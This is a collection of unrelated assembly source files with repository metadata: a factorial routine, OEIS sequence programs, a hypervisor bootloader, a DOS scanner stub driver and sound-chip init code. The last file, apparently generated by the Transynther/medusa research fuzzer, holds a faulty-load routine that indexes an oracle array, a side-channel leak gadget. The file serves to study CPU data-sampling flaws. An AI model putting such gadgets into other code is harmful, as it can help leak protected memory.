[ "MIT" ]
null
null
null
factorial/fact.asm
AbderrhmanAbdellatif/SysPro
fa6ee66a63a62043c5d114bf80efec397fb1a13c
[ "MIT" ]
null
null
null
factorial/fact.asm
AbderrhmanAbdellatif/SysPro
fa6ee66a63a62043c5d114bf80efec397fb1a13c
[ "MIT" ]
null
null
null
segment .text global fact fact: push ebp mov ebp,esp sub esp,4 mov dword [ebp-4],1 mov ecx,[ebp+8] back: mov eax,[ebp-4] mul ecx mov [ebp-4],eax dec ecx cmp ecx,1 jne back mov eax,[ebp-4] mov esp,ebp pop ebp ret
12.521739
24
0.517361
dccc56647047afa8f4c397bd4ffb19cdcbe4924b
620
asm
Assembly
programs/oeis/151/A151821.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/151/A151821.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/151/A151821.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A151821: Powers of 2, omitting 2 itself. ; 1,4,8,16,32,64,128,256,512,1024,2048,4096,8192,16384,32768,65536,131072,262144,524288,1048576,2097152,4194304,8388608,16777216,33554432,67108864,134217728,268435456,536870912,1073741824,2147483648,4294967296,8589934592,17179869184,34359738368,68719476736,137438953472,274877906944,549755813888,1099511627776,2199023255552,4398046511104,8796093022208,17592186044416,35184372088832,70368744177664,140737488355328,281474976710656,562949953421312,1125899906842624,2251799813685248,4503599627370496,9007199254740992 add $0,1 lpb $0,1 mul $0,2 sub $0,2 lpe add $1,2 pow $1,$0
56.363636
512
0.841935
8c04a0021e10e4b4ee06609a858adaf8b3efd13f
456
asm
Assembly
oeis/037/A037739.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/037/A037739.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/037/A037739.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A037739: Base 6 digits are, in order, the first n terms of the periodic sequence with initial period 2,1,3,0. ; Submitted by Jon Maiga ; 2,13,81,486,2918,17509,105057,630342,3782054,22692325,136153953,816923718,4901542310,29409253861,176455523169,1058733139014,6352398834086,38114393004517,228686358027105,1372118148162630 mov $2,2 lpb $0 sub $0,1 sub $2,1 add $1,$2 add $1,1 mul $1,6 add $2,14 bin $2,2 mod $2,4 lpe add $1,$2 mov $0,$1
25.333333
187
0.72807
9b023b02512633b1364bcdcce2eabf6112be5b1c
578
asm
Assembly
programs/oeis/031/A031971.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/031/A031971.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/031/A031971.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A031971: a(n) = Sum_{k=1..n} k^n. ; 1,5,36,354,4425,67171,1200304,24684612,574304985,14914341925,427675990236,13421957361110,457593884876401,16841089312342855,665478473553144000,28101527071305611528,1262899292504270591313,60182438244917445266889,3031284048960901518840700,160908785696531607621474266,8978312342794653704423320281,525344775209112229247070397995,32165820890979908169298092688176,2056799428022114957513470373843020,137105117783302631357568203027115625 add $0,1 mov $2,$0 lpb $0 cmp $3,$2 cmp $3,0 mul $3,$0 sub $0,1 pow $3,$2 add $1,$3 lpe mov $0,$1
38.533333
430
0.820069
fa16d5b5390aa4f1caa9b93f465a2bf38c7508f4
2,133
asm
Assembly
programs/oeis/269/A269495.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/269/A269495.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/269/A269495.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A269495: Number of length-4 0..n arrays with no repeated value differing from the previous repeated value by one. ; 14,77,250,617,1286,2389,4082,6545,9982,14621,20714,28537,38390,50597,65506,83489,104942,130285,159962,194441,234214,279797,331730,390577,456926,531389,614602,707225,809942,923461,1048514,1185857,1336270,1500557,1679546,1874089,2085062,2313365,2559922,2825681,3111614,3418717,3748010,4100537,4477366,4879589,5308322,5764705,6249902,6765101,7311514,7890377,8502950,9150517,9834386,10555889,11316382,12117245,12959882,13845721,14776214,15752837,16777090,17850497,18974606,20150989,21381242,22666985,24009862,25411541,26873714,28398097,29986430,31640477,33362026,35152889,37014902,38949925,40959842,43046561,45212014,47458157,49786970,52200457,54700646,57289589,59969362,62742065,65609822,68574781,71639114,74805017,78074710,81450437,84934466,88529089,92236622,96059405,99999802,104060201,108243014,112550677,116985650,121550417,126247486,131079389,136048682,141157945,146409782,151806821,157351714,163047137,168895790,174900397,181063706,187388489,193877542,200533685,207359762,214358641,221533214,228886397,236421130,244140377,252047126,260144389,268435202,276922625,285609742,294499661,303595514,312900457,322417670,332150357,342101746,352275089,362673662,373300765,384159722,395253881,406586614,418161317,429981410,442050337,454371566,466948589,479784922,492884105,506249702,519885301,533794514,547980977,562448350,577200317,592240586,607572889,623200982,639128645,655359682,671897921,688747214,705911437,723394490,741200297,759332806,777795989,796593842,815730385,835209662,855035741,875212714,895744697,916635830,937890277,959512226,981505889,1003875502,1026625325,1049759642,1073282761,1097199014,1121512757,1146228370,1171350257,1196882846,1222830589,1249197962,1275989465,1303209622,1330862981,1358954114,1387487617,1416468110,1445900237,1475788666,1506138089,1536953222,1568238805,1599999602,1632240401,1664966014,1698181277,1731891050,1766100217,1800813686,1836036389,1871773282,1908029345,1944809582,1982119021 mov $1,2 add $1,$0 pow $1,4 mul $1,2 mov $2,4 mul $2,$0 sub $1,$2 sub $1,32 div $1,2 add $1,14
152.357143
1,920
0.868261
367c22f3c81445ddde0cbbba37e3b8f81188df89
539
asm
Assembly
libsrc/_DEVELOPMENT/stdio/c/sdcc_iy/fputc_callee.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
libsrc/_DEVELOPMENT/stdio/c/sdcc_iy/fputc_callee.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
libsrc/_DEVELOPMENT/stdio/c/sdcc_iy/fputc_callee.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
; int fputc_callee(int c, FILE *stream) INCLUDE "clib_cfg.asm" SECTION code_stdio ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; IF __CLIB_OPT_MULTITHREAD & $02 ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; PUBLIC _fputc_callee EXTERN asm_fputc _fputc_callee: pop af pop de pop ix push af jp asm_fputc ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ELSE ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; PUBLIC _fputc_callee EXTERN _fputc_unlocked_callee defc _fputc_callee = _fputc_unlocked_callee ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ENDIF ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
14.184211
43
0.489796
b96c119352d0c6c507b4bbe191c3d05168828189
5,234
asm
Assembly
bootloader/stage0.asm
Cisco-Talos/Barbervisor
b34cd716d965d100fcf61ae10f31eb15966dce78
[ "Apache-2.0" ]
122
2020-08-10T16:02:02.000Z
2022-03-13T22:05:55.000Z
bootloader/stage0.asm
Cisco-Talos/Barbervisor
b34cd716d965d100fcf61ae10f31eb15966dce78
[ "Apache-2.0" ]
null
null
null
bootloader/stage0.asm
Cisco-Talos/Barbervisor
b34cd716d965d100fcf61ae10f31eb15966dce78
[ "Apache-2.0" ]
19
2020-08-10T16:50:26.000Z
2022-01-08T18:41:48.000Z
[bits 16] [org 0x7c00] struc flatpe .entry: resd 1 .sections: resd 1 .payload: endstruc struc flatpe_section .vaddr: resd 1 .size: resd 1 .data: endstruc entry: ; Disable interrupts and clear the direction flag cli cld ; Set the A20 line in al, 0x92 or al, 2 out 0x92, al ; Zero out DS for the lgdt xor ax, ax mov ds, ax ; Load the gdt (for 32-bit protected mode) lgdt [ds:pm_gdt] ; Set the protection bit mov eax, cr0 or eax, (1 << 0) mov cr0, eax ; Jump to protected mode! jmp 0x0008:pm_entry [bits 32] pm_entry: ; Set data segments for protected mode mov ax, 0x10 mov es, ax mov ds, ax mov fs, ax mov gs, ax mov ss, ax ; Set up a stack mov esp, 0x7c00 ; Zero out entire range where kernel can be loaded [0x10000, 0x20000) ; This is our way of initializing all sections to zero so we only populate ; sections with raw data mov edi, 0x10000 mov ecx, 0x20000 - 0x10000 xor eax, eax rep stosb ; Get number of sections mov eax, [rust_entry + flatpe.sections] lea ebx, [rust_entry + flatpe.payload] .lewp: test eax, eax jz short .end mov edi, [ebx + flatpe_section.vaddr] lea esi, [ebx + flatpe_section.data] mov ecx, [ebx + flatpe_section.size] rep movsb add ebx, [ebx + flatpe_section.size] add ebx, flatpe_section_size dec eax jmp short .lewp .end: ; Jump into Rust! push dword kernel_buffer ; kernel_buffer: *mut KernelBuffer push dword [first_boot] ; first_boot: bool push dword soft_reboot_entry ; soft_reboot_entry: u32 ; Set that this is no longer the first boot mov dword [first_boot], 0 call dword [rust_entry + flatpe.entry] ; ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ; 16-bit real mode GDT align 8 rmgdt_base: dq 0x0000000000000000 ; Null descriptor dq 0x00009a000000ffff ; 16-bit RO code, base 0, limit 0x0000ffff dq 0x000092000000ffff ; 16-bit RW data, base 0, limit 0x0000ffff rmgdt: dw (rmgdt - rmgdt_base) - 1 dq rmgdt_base ; ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ; 32-bit protected mode GDT align 8 pm_gdt_base: dq 0x0000000000000000 dq 0x00CF9A000000FFFF dq 0x00CF92000000FFFF pm_gdt: dw (pm_gdt - pm_gdt_base) - 1 dd pm_gdt_base ; ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ align 8 reentry_longjmp: dd rmmode_again dw 0x0008 align 8 rm_idt: dw 0xffff dq 0 align 8 rm_gdt: dw 0xffff dq 0 ; ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ; Tracks if this is the first boot or not. This gets cleared to zero on the ; first boot, allowing the bootloader to know if it is in a soft reboot or ; not. This changes whether or not it needs to start up PXE again. first_boot: dd 1 kernel_buffer: dq 0 kernel_buffer_size: dq 0 kernel_buffer_max_size: dq 0 ; Boot magic times 510-($-$$) db 0 dw 0xAA55 times 0x400-($-$$) db 0 [bits 16] ; Address 0x8000 ap_entry: ; Disable interrupts and clear the direction flag cli cld ; Zero out DS for the lgdt xor ax, ax mov ds, ax ; Load the gdt (for 32-bit protected mode) lgdt [ds:pm_gdt] ; Set the protection bit mov eax, cr0 or eax, (1 << 0) mov cr0, eax ; Jump to protected mode! jmp 0x0008:ap_pm_entry times 0x500-($-$$) db 0 [bits 16] ; Addres 0x8100 vm_entry: mov di, 0xb800 mov es, di xor di, di mov cx, 80 * 25 xor ax, ax rep stosw mov di, 0xb800 mov es, di xor di, di mov cx, 80 mov ax, 0x0f41 rep stosw cli hlt jmp vm_entry [bits 64] soft_reboot_entry: cli ; Set up a stack mov esp, 0x7c00 ; Clear registers xor rax, rax mov rbx, rax mov rcx, rax mov rdx, rax mov rsi, rax mov rdi, rax mov rbp, rax mov r8, rax mov r9, rax mov r10, rax mov r11, rax mov r12, rax mov r13, rax mov r14, rax mov r15, rax lgdt [rmgdt] xor eax, eax mov dword [eax], eax ; Must be far dword for Intel/AMD compatibility. AMD does not support ; 64-bit offsets in far jumps in long mode, Intel does however. Force ; it to be 32-bit as it works in both. jmp far dword [reentry_longjmp] [bits 16] align 16 rmmode_again: ; Disable paging mov eax, cr0 btr eax, 31 mov cr0, eax ; Disable long mode mov ecx, 0xc0000080 rdmsr btr eax, 8 wrmsr ; Load up the segments to be 16-bit segments mov ax, 0x10 mov es, ax mov ds, ax mov fs, ax mov gs, ax mov ss, ax ; Disable protected mode mov eax, cr0 btr eax, 0 mov cr0, eax ; Zero out all GPRs (clear out high parts for when we go into 16-bit) xor eax, eax mov ebx, eax mov ecx, eax mov edx, eax mov esi, eax mov edi, eax mov ebp, eax mov esp, 0x7c00 ; Reset the GDT and IDT to their original boot states lgdt [rm_gdt] lidt [rm_idt] ; Jump back to the start of the bootloader jmp 0x0000:0x7c00 [bits 32] ap_pm_entry: ; Set data segments for protected mode mov ax, 0x10 mov es, ax mov ds, ax mov fs, ax mov gs, ax mov ss, ax ; Set up a stack mov esp, 0x7c00 ; Jump into Rust! push dword 0 ; kernel_buffer: *mut KernelBuffer push dword 0 ; first_boot: bool push dword soft_reboot_entry ; soft_reboot_entry: u32 call dword [rust_entry + flatpe.entry] rust_entry: incbin "stage1.flat"
17.273927
78
0.647115
e14029611cde1579a56d75c257a9814b164c407f
4,483
asm
Assembly
base/mvdm/vdd/hpscan/hpscan16.asm
npocmaka/Windows-Server-2003
5c6fe3db626b63a384230a1aa6b92ac416b0765f
[ "Unlicense" ]
17
2020-11-13T13:42:52.000Z
2021-09-16T09:13:13.000Z
base/mvdm/vdd/hpscan/hpscan16.asm
sancho1952007/Windows-Server-2003
5c6fe3db626b63a384230a1aa6b92ac416b0765f
[ "Unlicense" ]
2
2020-10-19T08:02:06.000Z
2020-10-19T08:23:18.000Z
base/mvdm/vdd/hpscan/hpscan16.asm
sancho1952007/Windows-Server-2003
5c6fe3db626b63a384230a1aa6b92ac416b0765f
[ "Unlicense" ]
14
2020-11-14T09:43:20.000Z
2021-08-28T08:59:57.000Z
.MODEL small ;************************************************* ; Filename: hpscan16.asm ; Purpose: Stub DOS Device Driver. Pass device ; "HPSCAN" requests to the VDD, hpscan32.dll. ; Environment: MSDOS, Windows NT. ; (C) Hewlett-Packard Company 1993. ;************************************************* INCLUDE hpscan16.inc ;private INCLUDE isvbop.inc ;NT DDK SUBTTL Segment and data definitions ASSUME CS:CSEG,DS:NOTHING,ES:NOTHING CSEG SEGMENT ;------------------------------------------------- ; Resident data area - variables needed after init ;------------------------------------------------- ;**--- Device Header, must be at offset zero ---** SCAN_HEADER: dd -1 ;becomes ptr to next req hdr dw 0C000H ;character, supports IOCTL dw offset STRAT ;Strategy routine dw offset IDVR ;Interrupt routine DH_NAME db 'HPSCAN ' ;char device name ;**---- Request Header addr, saved by STRAT ----** RH_PTRA LABEL DWORD RH_PTRO dw ? ;offset RH_PTRS dw ? ;segment ;**------------- Define Stack Space ------------** STK_SEG dw ? ;Save original stack segment STK_PTR dw ? ;Save original stack pointer STACK dw 200 DUP (0) ;Local stack TOP_STK dw ? ;Top of local stack ;**--------------- VDD information -------------** VDD_DllName db "HPSCAN32.DLL", 0 VDD_InitFunc db "VDDInit", 0 VDD_DispFunc db "VDDDispatch", 0 VDD_hVDD dw ? ;**-------------- Copyright Info ---------------** db '(C) Copyright Hewlett-Packard Company 1993.' db 'All rights reserved.' SUBTTL Device Strategy & Interrupt entry points ;**--------------- STRAT routine ---------------** STRAT proc far ;Strategy routine mov cs:RH_PTRO,bx ;save offset address mov cs:RH_PTRS,es ;save segment address ret ;end Strategy routine STRAT endp ;**--------------- IDVR routine ---------------** IDVR proc far ;Interrupt routine push ds ;save all modified registers push es ;DOS has stack for 20 pushes push ax push bx push cx push dx push di push si push bp mov cs:STK_PTR,sp ;save original stack ptr mov cs:STK_SEG,ss ;save original stack seg cli ;disable for stack ops mov ax,cs ;setup new stack ptr mov ss,ax ;setup new stack seg mov sp,offset TOP_STK sti ;restore flags back cld ;all moves are forward les bx,cs:RH_PTRA ;load req hdr adr in es:bx mov al,RH.RHC_CMD cmp al,0 ;check for init command je BOOTUP ;command 0 = init xor dx,dx ;some other command mov dl,RH.RHC_CMD ;dx = command code mov cx,RH.RHC_CNT ;cx = count mov ax,RH.RHC_SEG ;es:bx = addr of data mov bx,RH.RHC_OFF mov es,ax ;finally, load VDD handle mov ax,word ptr cs:[VDD_hVDD] DispatchCall ;call Dispatch in VDD ;returns with status in di EXIT: les bx,cs:RH_PTRA ;restore ES:BX or di,STAT_DONE ;add "DONE" bit to status mov RH.RHC_STA,di ;save status in requ hdr cli ;disable ints for stack op mov ss,cs:STK_SEG ;restore stack seg mov sp,cs:STK_PTR ;restore stack ptr sti ;re-enable interrupts pop bp ;restore registers pop si pop di pop dx pop cx pop bx pop ax pop es pop ds ret ;far return IDVR endp ;**--------- jump here for Init Command --------** BOOTUP: mov ax,offset EndDriver mov RH.RHC_OFF,ax ;address of end of driver mov RH.RHC_SEG,CS ;reference from code seg mov si,offset VDD_DllName ;load regs for VDD mov di,offset VDD_InitFunc mov bx,offset VDD_DispFunc mov ax,ds mov es,ax RegisterModule ;calls the VDD jnc save_hVDD ;if NC then success mov di,STAT_GF ;set failure status jmp EXIT ;return via common exit save_hVDD: mov [VDD_hVDD],ax ;save handle in ax mov di,STAT_OK ;load OK status jmp EXIT ;return via common exit EndDriver db ? CSEG ENDS END SCAN_HEADER ;REQUIRED BY EXE2BIN 
32.485507
51
0.535133
1224ab28df4af977f60ffb32ac6a1a43ff272e5a
681
asm
Assembly
src/solace_project/example_project/math/math.asm
NablaVM/solace
ffe2967586b6b3a61d028201f8b4c8586ca4f21f
[ "MIT" ]
null
null
null
src/solace_project/example_project/math/math.asm
NablaVM/solace
ffe2967586b6b3a61d028201f8b4c8586ca4f21f
[ "MIT" ]
null
null
null
src/solace_project/example_project/math/math.asm
NablaVM/solace
ffe2967586b6b3a61d028201f8b4c8586ca4f21f
[ "MIT" ]
null
null
null
; ; MODULUS ; Performs modulus operation on r1, and r2 ; Results in r0 ; Ex: r0 = r1 % r2 ; Uses : r0, r1, r2, r3, r4 ; Saves: r1, r2, r3, r4 <modulus: blt r1 r2 modspecial pushw ls r1 pushw ls r2 pushw ls r3 pushw ls r4 mov r3 $0 ; Init temp, and result div r3 r1 r2 ; Divide Num/Denom mov r4 $0 beq r3 r4 moduiz ; Check if mod is 0 jmp moduinz ; If not, go to moduinz moduiz: add r0 $0 $0 ; Indicate is 0 jmp moddone moduinz: mul r3 r2 r3 ; Mult denom by result sub r0 r1 r3 ; Sub result from num jmp moddone moddone: popw r4 ls popw r3 ls popw r2 ls popw r1 ls ret modspecial: mov r0 r1 >
17.461538
42
0.603524
608cd4bdaefc3e472ecca5207d34b0ff759c1e50
1,101
asm
Assembly
libsrc/psg/einstein/psg_init.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
640
2017-01-14T23:33:45.000Z
2022-03-30T11:28:42.000Z
libsrc/psg/einstein/psg_init.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
1,600
2017-01-15T16:12:02.000Z
2022-03-31T12:11:12.000Z
libsrc/psg/einstein/psg_init.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
215
2017-01-17T10:43:03.000Z
2022-03-23T17:25:02.000Z
; ; Einstein specific routines ; by Stefano Bodrato, Fall 2017 ; ; int set_psg(int reg, int val); ; ; Play a sound by PSG ; ; ; $Id: psg_init.asm $ ; SECTION code_clib PUBLIC psg_init PUBLIC _psg_init psg_init: _psg_init: ld e,@01010101 xor a ; R0: Channel A frequency low bits call outpsg ld e,a ld d,12 psg_iniloop: inc a ; R1-13: set all to 0 but 7 and 11 ;cp 7 ;jr z,skip ;cp 11 ;jr z,skip call outpsg skip: dec d jr nz,psg_iniloop ld e,@11111000 ; R7: Channel setting. Enable sound channels ABC and input on ports A and B ld a,7 call outpsg ld e,@00001011 ; R11: Envelope ld a,11 outpsg: OUT (2),a ld a,e OUT (3),A ret ; register PC-6001 AY-3-8910 Operation ;---------------------------------------------- ; $00~$05 R0~R5 R0~R5 Tone Generator Control ; $06 R6 R6 Noise Generator Control ; $07 R7 R7 Mixer Control-I/O Enable ; $08~$0A R8~R10 R10~R12 Amplitude Control ; $0B~$0C R11~R12 R13~R14 Envelop Period Control ; $0D R13 R15 Envelop Shape/Cycle Control
17.758065
92
0.597639
eb38f5f79ee087d227546b74597cf7138626c814
7,365
asm
Assembly
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_21829_1529.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_21829_1529.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_21829_1529.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r14 push %r8 push %rax push %rbp push %rcx push %rdi push %rdx push %rsi lea addresses_UC_ht+0xa50e, %rcx nop nop nop nop sub %rbp, %rbp movups (%rcx), %xmm7 vpextrq $0, %xmm7, %rdx nop nop nop nop nop cmp %rdx, %rdx lea addresses_normal_ht+0x2a8e, %rbp nop nop nop nop nop add $5102, %r11 mov (%rbp), %ax nop nop add %rax, %rax lea addresses_D_ht+0x1510e, %r14 nop nop cmp $37282, %r8 movb (%r14), %dl inc %r8 lea addresses_UC_ht+0xa818, %rcx nop and %r14, %r14 movw $0x6162, (%rcx) nop nop nop xor $16607, %rbp lea addresses_D_ht+0x1abd7, %rbp nop sub %rdx, %rdx movb $0x61, (%rbp) add %rbp, %rbp lea addresses_UC_ht+0xb34e, %r11 sub $4938, %r14 mov $0x6162636465666768, %rcx movq %rcx, %xmm4 movups %xmm4, (%r11) nop xor %rbp, %rbp lea addresses_A_ht+0x1d2d2, %rsi lea addresses_UC_ht+0x4cbe, %rdi nop and %r11, %r11 mov $90, %rcx rep movsl nop nop nop nop xor %rbp, %rbp lea addresses_D_ht+0x1bc0e, %rdi nop nop nop nop nop and $48719, %r8 movw $0x6162, (%rdi) nop nop nop nop nop sub %rcx, %rcx lea addresses_WC_ht+0xe8e, %rsi lea addresses_A_ht+0x1456a, %rdi xor $17261, %r14 mov $40, %rcx rep movsw nop nop nop inc %rcx lea addresses_normal_ht+0x56e6, %rax clflush (%rax) nop nop nop nop and $5661, %rcx mov $0x6162636465666768, %r14 movq %r14, %xmm2 and $0xffffffffffffffc0, %rax movntdq %xmm2, (%rax) nop nop nop cmp %r11, %r11 lea addresses_normal_ht+0x1e50e, %rcx nop nop nop nop nop sub $27538, %rdx movl $0x61626364, (%rcx) nop nop nop sub %rbp, %rbp lea addresses_D_ht+0x1edba, %r8 nop nop nop nop nop add $27541, %rsi movups (%r8), %xmm5 vpextrq $0, %xmm5, %rdi nop nop nop add %r11, %r11 lea addresses_D_ht+0x660e, %rsi and %rcx, %rcx movb $0x61, (%rsi) xor %r11, %r11 lea addresses_A_ht+0x19ee6, %rax nop cmp $61769, %rbp movb $0x61, (%rax) cmp %rax, %rax pop %rsi pop %rdx pop %rdi pop %rcx pop %rbp pop %rax pop %r8 pop %r14 pop %r11 ret .global s_faulty_load s_faulty_load: push %r12 push %r15 push %r9 push %rdi push %rsi // Faulty Load lea addresses_A+0xf10e, %rdi nop and %r9, %r9 movups (%rdi), %xmm0 vpextrq $1, %xmm0, %r12 lea oracles, %r15 and $0xff, %r12 shlq $12, %r12 mov (%r15,%r12,1), %r12 pop %rsi pop %rdi pop %r9 pop %r15 pop %r12 ret /* <gen_faulty_load> [REF] {'src': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 0, 'same': True, 'type': 'addresses_A'}, 'OP': 'LOAD'} [Faulty Load] {'src': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 0, 'same': True, 'type': 'addresses_A'}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 9, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'LOAD'} {'src': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 3, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'LOAD'} {'src': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 11, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'LOAD'} {'dst': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 0, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'STOR'} {'dst': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 0, 'same': True, 'type': 'addresses_D_ht'}, 'OP': 'STOR'} {'dst': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 5, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'STOR'} {'src': {'congruent': 1, 'same': False, 'type': 'addresses_A_ht'}, 'dst': {'congruent': 4, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'REPM'} {'dst': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 7, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'STOR'} {'src': {'congruent': 7, 'same': False, 'type': 'addresses_WC_ht'}, 'dst': {'congruent': 0, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'REPM'} {'dst': {'NT': True, 'AVXalign': False, 'size': 16, 'congruent': 2, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'STOR'} {'dst': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 10, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'STOR'} {'src': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 2, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'LOAD'} {'dst': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 8, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'STOR'} {'dst': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 1, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'STOR'} {'35': 21829} 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 